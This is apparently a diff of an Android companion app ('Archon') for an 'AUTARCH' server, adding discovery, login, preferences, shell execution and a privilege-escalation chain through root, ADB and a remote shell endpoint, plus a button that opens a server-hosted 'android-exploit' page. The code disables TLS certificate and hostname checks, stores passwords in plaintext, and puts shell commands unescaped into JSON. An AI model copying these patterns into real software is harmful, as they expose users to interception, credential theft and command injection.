discovery.listener = object : DiscoveryManager.Listener {
override fun onServerFound(server: DiscoveryManager.DiscoveredServer) {
discovery.stopDiscovery()
val method = when (server.method) {
DiscoveryManager.ConnectionMethod.MDNS -> "LAN (mDNS)"
DiscoveryManager.ConnectionMethod.WIFI_DIRECT -> "Wi-Fi Direct"
DiscoveryManager.ConnectionMethod.BLUETOOTH -> "Bluetooth"
}
if (server.ip.isNotEmpty()) {
inputServerIp.setText(server.ip)
}
if (server.port > 0) {
inputWebPort.setText(server.port.toString())
}
statusText.text = "Found ${server.hostname} via $method\nIP: ${server.ip} Port: ${server.port}"
btn.isEnabled = true
btn.text = "AUTO-DETECT SERVER"
}
override fun onDiscoveryStarted(method: DiscoveryManager.ConnectionMethod) {}
override fun onDiscoveryStopped(method: DiscoveryManager.ConnectionMethod) {
if (discovery.getDiscoveredServers().isEmpty()) {
handler.post {
statusText.text = "No AUTARCH server found on network.\nCheck that the server is running and on the same network."
btn.isEnabled = true
btn.text = "AUTO-DETECT SERVER"
}
}
}
override fun onDiscoveryError(method: DiscoveryManager.ConnectionMethod, error: String) {}
}
discovery.startDiscovery()
}
private fun testConnection() {
val serverIp = inputServerIp.text.toString().trim()
val webPort = inputWebPort.text.toString().trim().toIntOrNull() ?: 8181
if (serverIp.isEmpty()) {
statusText.text = "Error: Enter a server IP first"
return
}
if (!isValidIpOrHostname(serverIp)) {
statusText.text = "Error: Invalid IP address"
return
}
statusText.text = "Testing connection to $serverIp..."
Thread {
// Ping test
val pingResult = ShellExecutor.execute("ping -c 1 -W 3 $serverIp")
val pingOk = pingResult.exitCode == 0
// HTTPS test — probe root endpoint
val httpOk = try {
val url = java.net.URL("https://$serverIp:$webPort/")
val conn = url.openConnection() as java.net.HttpURLConnection
SslHelper.trustSelfSigned(conn)
conn.connectTimeout = 5000
conn.readTimeout = 5000
conn.requestMethod = "GET"
val code = conn.responseCode
conn.disconnect()
code in 200..399
} catch (e: Exception) {
false
}
handler.post {
val status = StringBuilder()
status.append("Ping: ${if (pingOk) "OK" else "FAILED"}\n")
status.append("HTTPS ($webPort): ${if (httpOk) "OK" else "FAILED"}")
if (!pingOk && !httpOk) {
status.append("\n\nServer unreachable. Check WireGuard tunnel and IP.")
} else if (pingOk && !httpOk) {
status.append("\n\nHost reachable but web UI not responding on port $webPort.")
}
statusText.text = status.toString()
}
}.start()
}
}

View File

@ -0,0 +1,293 @@
package com.darkhal.archon.ui
import android.Manifest
import android.content.ClipData
import android.content.ClipboardManager
import android.content.Context
import android.content.Intent
import android.content.pm.PackageManager
import android.graphics.Color
import android.graphics.drawable.GradientDrawable
import android.net.Uri
import android.os.Build
import android.os.Bundle
import android.os.Handler
import android.os.Looper
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
import android.widget.TextView
import android.widget.Toast
import androidx.activity.result.contract.ActivityResultContracts
import androidx.core.content.ContextCompat
import androidx.fragment.app.Fragment
import com.darkhal.archon.R
import com.darkhal.archon.server.ArchonClient
import com.darkhal.archon.service.LocalAdbClient
import com.darkhal.archon.service.PairingReceiver
import com.darkhal.archon.util.PrefsManager
import com.darkhal.archon.util.PrivilegeManager
import com.darkhal.archon.util.ShellExecutor
import com.google.android.material.button.MaterialButton
class SetupFragment : Fragment() {
private lateinit var privilegeStatusDot: View
private lateinit var privilegeStatusText: TextView
private lateinit var btnStartPairing: MaterialButton
private lateinit var localAdbStatus: TextView
private lateinit var archonServerStatusDot: View
private lateinit var archonServerStatus: TextView
private lateinit var btnStartArchonServer: MaterialButton
private lateinit var btnStopArchonServer: MaterialButton
private lateinit var btnShowCommand: MaterialButton
private lateinit var serverAdbStatus: TextView
private lateinit var btnBootstrapUsb: MaterialButton
private lateinit var rootStatus: TextView
private lateinit var btnCheckRoot: MaterialButton
private lateinit var btnRootExploit: MaterialButton
private lateinit var outputLog: TextView
private val handler = Handler(Looper.getMainLooper())
// Notification permission request (Android 13+)
private val notificationPermissionLauncher = registerForActivityResult(
ActivityResultContracts.RequestPermission()
) { granted ->
if (granted) {
startPairingNotification()
} else {
appendLog("Notification permission denied — cannot show pairing notification")
appendLog("Grant notification permission in app settings")
}
}
override fun onCreateView(
inflater: LayoutInflater,
container: ViewGroup?,
savedInstanceState: Bundle?
): View {
return inflater.inflate(R.layout.fragment_setup, container, false)
}
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
super.onViewCreated(view, savedInstanceState)
// Bind views
privilegeStatusDot = view.findViewById(R.id.privilege_status_dot)
privilegeStatusText = view.findViewById(R.id.privilege_status_text)
btnStartPairing = view.findViewById(R.id.btn_start_pairing)
localAdbStatus = view.findViewById(R.id.local_adb_status)
archonServerStatusDot = view.findViewById(R.id.archon_server_status_dot)
archonServerStatus = view.findViewById(R.id.archon_server_status)
btnStartArchonServer = view.findViewById(R.id.btn_start_archon_server)
btnStopArchonServer = view.findViewById(R.id.btn_stop_archon_server)
btnShowCommand = view.findViewById(R.id.btn_show_command)
serverAdbStatus = view.findViewById(R.id.server_adb_status)
btnBootstrapUsb = view.findViewById(R.id.btn_bootstrap_usb)
rootStatus = view.findViewById(R.id.root_status)
btnCheckRoot = view.findViewById(R.id.btn_check_root)
btnRootExploit = view.findViewById(R.id.btn_root_exploit)
outputLog = view.findViewById(R.id.setup_output_log)
setupListeners()
initializeStatus()
}
private fun setupListeners() {
// ── Wireless Debugging (Shizuku-style notification) ──
btnStartPairing.setOnClickListener {
// Check notification permission for Android 13+
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
if (ContextCompat.checkSelfPermission(
requireContext(), Manifest.permission.POST_NOTIFICATIONS
) != PackageManager.PERMISSION_GRANTED
) {
notificationPermissionLauncher.launch(Manifest.permission.POST_NOTIFICATIONS)
return@setOnClickListener
}
}
startPairingNotification()
}
// ── Archon Server ──
btnStartArchonServer.setOnClickListener {
btnStartArchonServer.isEnabled = false
appendLog("Starting Archon Server...")
Thread {
val result = ArchonClient.startServer(requireContext())
handler.post {
btnStartArchonServer.isEnabled = true
appendLog(result.message)
updateArchonServerStatus()
if (result.success) {
PrivilegeManager.refreshMethod()
updatePrivilegeStatus()
}
}
}.start()
}
btnStopArchonServer.setOnClickListener {
appendLog("Stopping Archon Server...")
Thread {
val stopped = ArchonClient.stopServer(requireContext())
handler.post {
appendLog(if (stopped) "Server stopped" else "Failed to stop server")
updateArchonServerStatus()
PrivilegeManager.refreshMethod()
updatePrivilegeStatus()
}
}.start()
}
btnShowCommand.setOnClickListener {
val cmd = ArchonClient.getBootstrapCommand(requireContext())
appendLog("ADB command to start Archon Server:")
appendLog("adb shell \"$cmd\"")
// Copy to clipboard
val clipboard = requireContext().getSystemService(Context.CLIPBOARD_SERVICE) as ClipboardManager
clipboard.setPrimaryClip(ClipData.newPlainText("Archon Bootstrap", "adb shell \"$cmd\""))
Toast.makeText(requireContext(), "Command copied to clipboard", Toast.LENGTH_SHORT).show()
}
// ── USB via AUTARCH ──
btnBootstrapUsb.setOnClickListener {
val serverIp = PrefsManager.getServerIp(requireContext())
val serverPort = PrefsManager.getWebPort(requireContext())
if (serverIp.isEmpty()) {
appendLog("Server not configured — set IP in Settings tab or use SCAN on Dashboard")
return@setOnClickListener
}
btnBootstrapUsb.isEnabled = false
appendLog("Bootstrapping via AUTARCH USB ADB ($serverIp:$serverPort)...")
Thread {
val result = ArchonClient.startServer(requireContext())
handler.post {
btnBootstrapUsb.isEnabled = true
appendLog(result.message)
if (result.success) {
updateArchonServerStatus()
PrivilegeManager.refreshMethod()
updatePrivilegeStatus()
}
}
}.start()
}
// ── Root ──
btnCheckRoot.setOnClickListener {
appendLog("Checking root access...")
Thread {
val hasRoot = ShellExecutor.isRootAvailable()
handler.post {
rootStatus.text = if (hasRoot) "Status: rooted" else "Status: not rooted"
appendLog(if (hasRoot) "Root access available" else "Device is not rooted")
if (hasRoot) {
PrivilegeManager.refreshMethod()
updatePrivilegeStatus()
}
}
}.start()
}
btnRootExploit.setOnClickListener {
val serverIp = PrefsManager.getServerIp(requireContext())
val serverPort = PrefsManager.getWebPort(requireContext())
if (serverIp.isEmpty()) {
appendLog("Server not configured — set IP in Settings tab")
return@setOnClickListener
}
val url = "https://$serverIp:$serverPort/android-exploit"
try {
startActivity(Intent(Intent.ACTION_VIEW, Uri.parse(url)))
appendLog("Opened exploit page in browser")
} catch (e: Exception) {
appendLog("Could not open browser: ${e.message}")
}
}
}
private fun startPairingNotification() {
appendLog("Showing pairing notification...")
appendLog("Now open Developer Options > Wireless Debugging > Pair with code")
appendLog("Enter the 6-digit code in the notification")
PairingReceiver.showPairingNotification(requireContext())
localAdbStatus.text = "Status: waiting for pairing code in notification..."
}
private fun initializeStatus() {
appendLog("Checking available privilege methods...")
val ctx = requireContext()
PrivilegeManager.init(
ctx,
PrefsManager.getServerIp(ctx),
PrefsManager.getWebPort(ctx)
)
Thread {
val hasRoot = ShellExecutor.isRootAvailable()
val method = PrivilegeManager.refreshMethod()
handler.post {
rootStatus.text = if (hasRoot) "Status: rooted" else "Status: not rooted"
localAdbStatus.text = "Status: ${LocalAdbClient.getStatusString(requireContext())}"
val serverIp = PrefsManager.getServerIp(ctx)
serverAdbStatus.text = if (serverIp.isNotEmpty()) {
"Server: $serverIp:${PrefsManager.getWebPort(ctx)}"
} else {
"Server: not configured — set IP in Settings or SCAN on Dashboard"
}
updateArchonServerStatus()
updatePrivilegeStatus()
appendLog("Best method: ${method.label}")
}
}.start()
}
private fun updatePrivilegeStatus() {
val method = PrivilegeManager.getAvailableMethod()
val isReady = method != PrivilegeManager.Method.NONE
setStatusDot(privilegeStatusDot, isReady)
privilegeStatusText.text = "Privilege: ${method.label}"
}
private fun updateArchonServerStatus() {
Thread {
val running = ArchonClient.isServerRunning(requireContext())
val info = if (running) ArchonClient.getServerInfo(requireContext()) else null
handler.post {
setStatusDot(archonServerStatusDot, running)
archonServerStatus.text = if (running) {
"Status: Running ($info)"
} else {
"Status: Not running"
}
btnStopArchonServer.isEnabled = running
}
}.start()
}
private fun setStatusDot(dot: View, online: Boolean) {
val drawable = GradientDrawable()
drawable.shape = GradientDrawable.OVAL
drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666"))
dot.background = drawable
}
private fun appendLog(msg: String) {
val current = outputLog.text.toString()
val lines = current.split("\n").takeLast(25)
outputLog.text = (lines + "> $msg").joinToString("\n")
}
}

View File

@ -0,0 +1,209 @@
package com.darkhal.archon.util
import android.content.Context
import android.util.Log
import java.net.CookieManager
import java.net.CookiePolicy
import java.net.HttpURLConnection
import java.net.URL
/**
* Manages authentication with the AUTARCH web server.
*
* Handles login via JSON API, cookie storage, and attaching
* the session cookie to all outbound HTTP requests.
*/
object AuthManager {
private const val TAG = "AuthManager"
private const val PREFS_NAME = "archon_auth"
private const val KEY_USERNAME = "username"
private const val KEY_PASSWORD = "password"
private const val KEY_SESSION_COOKIE = "session_cookie"
private const val KEY_LOGGED_IN = "logged_in"
@Volatile
private var sessionCookie: String? = null
/**
* Log in to the AUTARCH web server.
* Returns true on success. Stores the session cookie.
*/
fun login(context: Context, username: String, password: String): LoginResult {
val baseUrl = PrefsManager.getAutarchBaseUrl(context)
if (baseUrl.contains("://:" ) || baseUrl.endsWith("://")) {
return LoginResult(false, "No server IP configured")
}
return try {
val url = URL("$baseUrl/api/login")
val conn = url.openConnection() as HttpURLConnection
SslHelper.trustSelfSigned(conn)
conn.connectTimeout = 5000
conn.readTimeout = 10000
conn.requestMethod = "POST"
conn.setRequestProperty("Content-Type", "application/json")
conn.doOutput = true
val payload = """{"username":"${escapeJson(username)}","password":"${escapeJson(password)}"}"""
conn.outputStream.write(payload.toByteArray())
val code = conn.responseCode
val body = if (code in 200..299) {
conn.inputStream.bufferedReader().readText()
} else {
conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $code"
}
// Extract Set-Cookie header
val cookie = conn.getHeaderField("Set-Cookie")
conn.disconnect()
if (code == 200 && body.contains("\"ok\":true")) {
// Store credentials and cookie
sessionCookie = cookie
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
prefs.edit()
.putString(KEY_USERNAME, username)
.putString(KEY_PASSWORD, password)
.putString(KEY_SESSION_COOKIE, cookie ?: "")
.putBoolean(KEY_LOGGED_IN, true)
.apply()
Log.i(TAG, "Login successful for $username")
LoginResult(true, "Logged in as $username")
} else {
Log.w(TAG, "Login failed: HTTP $code - $body")
LoginResult(false, "Invalid credentials")
}
} catch (e: Exception) {
Log.e(TAG, "Login error", e)
LoginResult(false, "Connection error: ${e.message}")
}
}
/**
* Check if we have stored credentials and a valid session.
*/
fun isLoggedIn(context: Context): Boolean {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
return prefs.getBoolean(KEY_LOGGED_IN, false) &&
prefs.getString(KEY_USERNAME, null) != null
}
/**
* Get stored username.
*/
fun getUsername(context: Context): String {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
return prefs.getString(KEY_USERNAME, "") ?: ""
}
/**
* Get stored password.
*/
fun getPassword(context: Context): String {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
return prefs.getString(KEY_PASSWORD, "") ?: ""
}
/**
* Re-login using stored credentials (refreshes session cookie).
*/
fun refreshSession(context: Context): Boolean {
val username = getUsername(context)
val password = getPassword(context)
if (username.isEmpty() || password.isEmpty()) return false
return login(context, username, password).success
}
/**
* Attach the session cookie to an HttpURLConnection.
* Call this before sending any request to the AUTARCH server.
*/
fun attachSession(context: Context, conn: HttpURLConnection) {
val cookie = sessionCookie ?: run {
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
prefs.getString(KEY_SESSION_COOKIE, null)
}
if (cookie != null) {
conn.setRequestProperty("Cookie", cookie)
}
}
/**
* Make an authenticated POST request to the AUTARCH server.
* Handles cookie attachment and auto-refreshes session on 401.
*/
fun authenticatedPost(context: Context, path: String, jsonPayload: String): HttpResult {
val baseUrl = PrefsManager.getAutarchBaseUrl(context)
return try {
var result = doPost(context, "$baseUrl$path", jsonPayload)
// If 401, try refreshing session once
if (result.code == 401 || result.code == 302) {
Log.i(TAG, "Session expired, refreshing...")
if (refreshSession(context)) {
result = doPost(context, "$baseUrl$path", jsonPayload)
}
}
result
} catch (e: Exception) {
Log.e(TAG, "Authenticated POST failed", e)
HttpResult(-1, "", "Connection error: ${e.message}")
}
}
private fun doPost(context: Context, urlStr: String, jsonPayload: String): HttpResult {
val url = URL(urlStr)
val conn = url.openConnection() as HttpURLConnection
SslHelper.trustSelfSigned(conn)
conn.connectTimeout = 5000
conn.readTimeout = 15000
conn.requestMethod = "POST"
conn.setRequestProperty("Content-Type", "application/json")
conn.instanceFollowRedirects = false
conn.doOutput = true
attachSession(context, conn)
conn.outputStream.write(jsonPayload.toByteArray())
val code = conn.responseCode
// Capture new cookie if server rotates it
val newCookie = conn.getHeaderField("Set-Cookie")
if (newCookie != null) {
sessionCookie = newCookie
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
prefs.edit().putString(KEY_SESSION_COOKIE, newCookie).apply()
}
val body = if (code in 200..299) {
conn.inputStream.bufferedReader().readText()
} else {
conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $code"
}
conn.disconnect()
return HttpResult(code, body, "")
}
/**
* Logout clear stored credentials and cookie.
*/
fun logout(context: Context) {
sessionCookie = null
val prefs = context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
prefs.edit().clear().apply()
Log.i(TAG, "Logged out")
}
private fun escapeJson(s: String): String {
return s.replace("\\", "\\\\").replace("\"", "\\\"").replace("\n", "\\n")
}
data class LoginResult(val success: Boolean, val message: String)
data class HttpResult(val code: Int, val body: String, val error: String)
}

View File

@ -0,0 +1,80 @@
package com.darkhal.archon.util
import android.content.Context
import android.content.SharedPreferences
object PrefsManager {
private const val PREFS_NAME = "archon_prefs"
private const val KEY_SERVER_IP = "server_ip"
private const val KEY_WEB_PORT = "web_port"
private const val KEY_ADB_PORT = "adb_port"
private const val KEY_USBIP_PORT = "usbip_port"
private const val KEY_AUTO_RESTART_ADB = "auto_restart_adb"
private const val KEY_BBS_ADDRESS = "bbs_address"
private const val DEFAULT_SERVER_IP = ""
private const val DEFAULT_WEB_PORT = 8181
private const val DEFAULT_ADB_PORT = 5555
private const val DEFAULT_USBIP_PORT = 3240
private const val DEFAULT_BBS_ADDRESS = ""
private fun prefs(context: Context): SharedPreferences {
return context.getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE)
}
fun getServerIp(context: Context): String {
return prefs(context).getString(KEY_SERVER_IP, DEFAULT_SERVER_IP) ?: DEFAULT_SERVER_IP
}
fun setServerIp(context: Context, ip: String) {
prefs(context).edit().putString(KEY_SERVER_IP, ip).apply()
}
fun getWebPort(context: Context): Int {
return prefs(context).getInt(KEY_WEB_PORT, DEFAULT_WEB_PORT)
}
fun setWebPort(context: Context, port: Int) {
prefs(context).edit().putInt(KEY_WEB_PORT, port).apply()
}
fun getAdbPort(context: Context): Int {
return prefs(context).getInt(KEY_ADB_PORT, DEFAULT_ADB_PORT)
}
fun setAdbPort(context: Context, port: Int) {
prefs(context).edit().putInt(KEY_ADB_PORT, port).apply()
}
fun getUsbIpPort(context: Context): Int {
return prefs(context).getInt(KEY_USBIP_PORT, DEFAULT_USBIP_PORT)
}
fun setUsbIpPort(context: Context, port: Int) {
prefs(context).edit().putInt(KEY_USBIP_PORT, port).apply()
}
fun isAutoRestartAdb(context: Context): Boolean {
return prefs(context).getBoolean(KEY_AUTO_RESTART_ADB, true)
}
fun setAutoRestartAdb(context: Context, enabled: Boolean) {
prefs(context).edit().putBoolean(KEY_AUTO_RESTART_ADB, enabled).apply()
}
fun getBbsAddress(context: Context): String {
return prefs(context).getString(KEY_BBS_ADDRESS, DEFAULT_BBS_ADDRESS) ?: DEFAULT_BBS_ADDRESS
}
fun setBbsAddress(context: Context, address: String) {
prefs(context).edit().putString(KEY_BBS_ADDRESS, address).apply()
}
fun getAutarchBaseUrl(context: Context): String {
val ip = getServerIp(context)
val port = getWebPort(context)
return "https://$ip:$port"
}
}

View File

@ -0,0 +1,199 @@
package com.darkhal.archon.util
import android.content.Context
import android.util.Log
import com.darkhal.archon.server.ArchonClient
import com.darkhal.archon.service.LocalAdbClient
import java.net.HttpURLConnection
import java.net.URL
/**
* Central privilege escalation chain manager.
* Tries methods in order: ROOT ARCHON_SERVER LOCAL_ADB SERVER_ADB NONE
*
* ARCHON_SERVER is our own privileged process running at UID 2000 (shell level),
* started via app_process through an ADB connection. It replaces Shizuku entirely.
*/
object PrivilegeManager {
private const val TAG = "PrivilegeManager"
enum class Method(val label: String) {
ROOT("Root (su)"),
ARCHON_SERVER("Archon Server"),
LOCAL_ADB("Wireless ADB"),
SERVER_ADB("Server ADB"),
NONE("No privileges")
}
private var cachedMethod: Method? = null
private var serverIp: String = ""
private var serverPort: Int = 8181
private var appContext: Context? = null
/**
* Initialize with app context and server connection info.
*/
fun init(context: Context, serverIp: String = "", serverPort: Int = 8181) {
appContext = context.applicationContext
this.serverIp = serverIp
this.serverPort = serverPort
cachedMethod = null
}
/**
* Update the AUTARCH server connection info.
*/
fun setServerConnection(ip: String, port: Int) {
serverIp = ip
serverPort = port
if (cachedMethod == Method.SERVER_ADB || cachedMethod == Method.NONE) {
cachedMethod = null
}
}
/**
* Determine the best available privilege method.
*/
fun getAvailableMethod(): Method {
cachedMethod?.let { return it }
val method = when {
checkRoot() -> Method.ROOT
checkArchonServer() -> Method.ARCHON_SERVER
checkLocalAdb() -> Method.LOCAL_ADB
checkServerAdb() -> Method.SERVER_ADB
else -> Method.NONE
}
cachedMethod = method
Log.i(TAG, "Available method: ${method.name}")
return method
}
/**
* Force a re-check of available methods.
*/
fun refreshMethod(): Method {
cachedMethod = null
return getAvailableMethod()
}
fun isReady(): Boolean = getAvailableMethod() != Method.NONE
/**
* Execute a command via the best available method.
*/
fun execute(command: String): ShellResult {
return when (getAvailableMethod()) {
Method.ROOT -> executeViaRoot(command)
Method.ARCHON_SERVER -> executeViaArchonServer(command)
Method.LOCAL_ADB -> executeViaLocalAdb(command)
Method.SERVER_ADB -> executeViaServer(command)
Method.NONE -> ShellResult("", "No privilege method available — run Setup first", -1)
}
}
fun getStatusDescription(): String {
return when (getAvailableMethod()) {
Method.ROOT -> "Connected via root shell"
Method.ARCHON_SERVER -> "Connected via Archon Server (UID 2000)"
Method.LOCAL_ADB -> "Connected via Wireless ADB"
Method.SERVER_ADB -> "Connected via AUTARCH server ($serverIp)"
Method.NONE -> "No privilege access — run Setup"
}
}
// ── Method checks ─────────────────────────────────────────────
private fun checkRoot(): Boolean {
return ShellExecutor.isRootAvailable()
}
private fun checkArchonServer(): Boolean {
val ctx = appContext ?: return false
return ArchonClient.isServerRunning(ctx)
}
private fun checkLocalAdb(): Boolean {
return LocalAdbClient.isConnected()
}
private fun checkServerAdb(): Boolean {
if (serverIp.isEmpty()) return false
return try {
val url = URL("https://$serverIp:$serverPort/hardware/status")
val conn = url.openConnection() as HttpURLConnection
SslHelper.trustSelfSigned(conn)
conn.connectTimeout = 3000
conn.readTimeout = 3000
conn.requestMethod = "GET"
val code = conn.responseCode
conn.disconnect()
code in 200..399
} catch (e: Exception) {
false
}
}
// ── Execution backends ────────────────────────────────────────
private fun executeViaRoot(command: String): ShellResult {
return ShellExecutor.executeAsRoot(command)
}
private fun executeViaArchonServer(command: String): ShellResult {
val ctx = appContext ?: return ShellResult("", "No app context", -1)
return ArchonClient.execute(ctx, command)
}
private fun executeViaLocalAdb(command: String): ShellResult {
return LocalAdbClient.execute(command)
}
private fun executeViaServer(command: String): ShellResult {
if (serverIp.isEmpty()) {
return ShellResult("", "Server not configured", -1)
}
return try {
val url = URL("https://$serverIp:$serverPort/hardware/adb/shell")
val conn = url.openConnection() as HttpURLConnection
SslHelper.trustSelfSigned(conn)
conn.connectTimeout = 5000
conn.readTimeout = 15000
conn.requestMethod = "POST"
conn.setRequestProperty("Content-Type", "application/json")
conn.doOutput = true
val payload = """{"serial":"any","command":"$command"}"""
conn.outputStream.write(payload.toByteArray())
val responseCode = conn.responseCode
val response = if (responseCode in 200..299) {
conn.inputStream.bufferedReader().readText()
} else {
conn.errorStream?.bufferedReader()?.readText() ?: "HTTP $responseCode"
}
conn.disconnect()
if (responseCode in 200..299) {
val stdout = extractJsonField(response, "stdout") ?: response
val stderr = extractJsonField(response, "stderr") ?: ""
val exitCode = extractJsonField(response, "exit_code")?.toIntOrNull() ?: 0
ShellResult(stdout, stderr, exitCode)
} else {
ShellResult("", "Server HTTP $responseCode: $response", -1)
}
} catch (e: Exception) {
Log.e(TAG, "Server execute failed", e)
ShellResult("", "Server error: ${e.message}", -1)
}
}
private fun extractJsonField(json: String, field: String): String? {
val pattern = """"$field"\s*:\s*"([^"]*?)"""".toRegex()
val match = pattern.find(json)
return match?.groupValues?.get(1)
}
}

View File

@ -0,0 +1,59 @@
package com.darkhal.archon.util
import java.io.BufferedReader
import java.io.InputStreamReader
import java.util.concurrent.TimeUnit
data class ShellResult(
val stdout: String,
val stderr: String,
val exitCode: Int
)
object ShellExecutor {
private const val DEFAULT_TIMEOUT_SEC = 10L
fun execute(command: String, timeoutSec: Long = DEFAULT_TIMEOUT_SEC): ShellResult {
return try {
val process = Runtime.getRuntime().exec(arrayOf("sh", "-c", command))
val completed = process.waitFor(timeoutSec, TimeUnit.SECONDS)
if (!completed) {
process.destroyForcibly()
return ShellResult("", "Command timed out after ${timeoutSec}s", -1)
}
val stdout = BufferedReader(InputStreamReader(process.inputStream)).readText().trim()
val stderr = BufferedReader(InputStreamReader(process.errorStream)).readText().trim()
ShellResult(stdout, stderr, process.exitValue())
} catch (e: Exception) {
ShellResult("", "Error: ${e.message}", -1)
}
}
fun executeAsRoot(command: String, timeoutSec: Long = DEFAULT_TIMEOUT_SEC): ShellResult {
return try {
val process = Runtime.getRuntime().exec(arrayOf("su", "-c", command))
val completed = process.waitFor(timeoutSec, TimeUnit.SECONDS)
if (!completed) {
process.destroyForcibly()
return ShellResult("", "Command timed out after ${timeoutSec}s", -1)
}
val stdout = BufferedReader(InputStreamReader(process.inputStream)).readText().trim()
val stderr = BufferedReader(InputStreamReader(process.errorStream)).readText().trim()
ShellResult(stdout, stderr, process.exitValue())
} catch (e: Exception) {
ShellResult("", "Root error: ${e.message}", -1)
}
}
fun isRootAvailable(): Boolean {
val result = execute("which su")
return result.exitCode == 0 && result.stdout.isNotEmpty()
}
}

View File

@ -0,0 +1,49 @@
package com.darkhal.archon.util
import java.net.HttpURLConnection
import java.security.SecureRandom
import java.security.cert.X509Certificate
import javax.net.ssl.HostnameVerifier
import javax.net.ssl.HttpsURLConnection
import javax.net.ssl.SSLContext
import javax.net.ssl.TrustManager
import javax.net.ssl.X509TrustManager
/**
* SSL helper for connecting to AUTARCH's self-signed HTTPS server.
*
* Since AUTARCH generates a self-signed cert at first launch,
* Android's default trust store will reject it. This helper
* creates a permissive SSLContext for LAN-only connections to
* the known AUTARCH server.
*/
object SslHelper {
private val trustAllManager = object : X509TrustManager {
override fun checkClientTrusted(chain: Array<X509Certificate>, authType: String) {}
override fun checkServerTrusted(chain: Array<X509Certificate>, authType: String) {}
override fun getAcceptedIssuers(): Array<X509Certificate> = arrayOf()
}
private val trustAllHostname = HostnameVerifier { _, _ -> true }
private val sslContext: SSLContext by lazy {
SSLContext.getInstance("TLS").apply {
init(null, arrayOf<TrustManager>(trustAllManager), SecureRandom())
}
}
val socketFactory get() = sslContext.socketFactory
/**
* Apply self-signed cert trust to a connection.
* If the connection is HTTPS, sets the permissive SSLSocketFactory
* and hostname verifier. Plain HTTP connections are left unchanged.
*/
fun trustSelfSigned(conn: HttpURLConnection) {
if (conn is HttpsURLConnection) {
conn.sslSocketFactory = socketFactory
conn.hostnameVerifier = trustAllHostname
}
}
}

View File

@ -0,0 +1,40 @@
<?xml version="1.0" encoding="utf-8"?>
<vector
xmlns:android="http://schemas.android.com/apk/res/android"
android:width="108dp"
android:height="108dp"
android:viewportWidth="108"
android:viewportHeight="108">
<!-- Background circle -->
<path
android:fillColor="#0D0D0D"
android:pathData="M54,54m-50,0a50,50 0,1 1,100 0a50,50 0,1 1,-100 0" />
<!-- Stylized "A" / Greek column -->
<!-- Left pillar -->
<path
android:fillColor="#00FF41"
android:pathData="M34,80 L38,80 L42,30 L38,28 Z" />
<!-- Right pillar -->
<path
android:fillColor="#00FF41"
android:pathData="M70,80 L74,80 L70,28 L66,30 Z" />
<!-- Top triangle / pediment -->
<path
android:fillColor="#00FF41"
android:pathData="M54,18 L38,28 L70,28 Z" />
<!-- Crossbar -->
<path
android:fillColor="#00FF41"
android:pathData="M40,52 L68,52 L67,48 L41,48 Z" />
<!-- Base -->
<path
android:fillColor="#00FF41"
android:pathData="M30,80 L78,80 L78,84 L30,84 Z" />
</vector>

View File

@ -0,0 +1,12 @@
<?xml version="1.0" encoding="utf-8"?>
<vector xmlns:android="http://schemas.android.com/apk/res/android"
android:width="24dp"
android:height="24dp"
android:viewportWidth="24"
android:viewportHeight="24"
android:tint="#00FF41">
<!-- Wrench/build icon -->
<path
android:fillColor="@android:color/white"
android:pathData="M22.7,19l-9.1,-9.1c0.9,-2.3 0.4,-5 -1.5,-6.9 -2,-2 -5,-2.4 -7.4,-1.3L9,6 6,9 1.6,4.7C0.4,7.1 0.9,10.1 2.9,12.1c1.9,1.9 4.6,2.4 6.9,1.5l9.1,9.1c0.4,0.4 1,0.4 1.4,0l2.3,-2.3c0.5,-0.4 0.5,-1.1 0.1,-1.4z" />
</vector>

View File

@ -0,0 +1,173 @@
<?xml version="1.0" encoding="utf-8"?>
<androidx.constraintlayout.widget.ConstraintLayout
xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:app="http://schemas.android.com/apk/res-auto"
android:layout_width="match_parent"
android:layout_height="match_parent"
android:background="@color/background"
android:padding="32dp">
<!-- Logo / Title -->
<TextView
android:id="@+id/login_title"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="ARCHON"
android:textColor="@color/primary"
android:textSize="36sp"
android:textStyle="bold"
android:fontFamily="monospace"
app:layout_constraintBottom_toTopOf="@id/login_subtitle"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toTopOf="parent"
app:layout_constraintVertical_chainStyle="packed"
app:layout_constraintVertical_bias="0.3" />
<TextView
android:id="@+id/login_subtitle"
android:layout_width="wrap_content"
android:layout_height="wrap_content"
android:text="AUTARCH Companion"
android:textColor="@color/text_secondary"
android:textSize="14sp"
android:layout_marginTop="4dp"
android:layout_marginBottom="40dp"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@id/login_title" />
<!-- Server IP -->
<com.google.android.material.textfield.TextInputLayout
android:id="@+id/layout_server_ip"
style="@style/Widget.MaterialComponents.TextInputLayout.OutlinedBox"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_marginTop="40dp"
android:hint="Server IP"
app:layout_constraintEnd_toEndOf="parent"
app:layout_constraintStart_toStartOf="parent"
app:layout_constraintTop_toBottomOf="@id/login_subtitle">
<com.google.android.material.textfield.TextInputEditText
android:id="@+id/input_login_server_ip"
android:layout_width="match_parent"
android:layout_height="wrap_content"
android:inputType="text"
android:textColor="@color/text_primary"
android:hint="10.0.0.26" />
</com.google.android.material.textfield.TextInputLayout>
<!-- Username -->
<com.google.android.material.textfield.TextInputLayout
android:id="@+id/layout_username"
style="@style/Widget.MaterialComponents.TextInputLayout.OutlinedBox"
android:layout_width="0dp"
android:layout_height="wrap_content"
android:layout_marginTop="12dp"
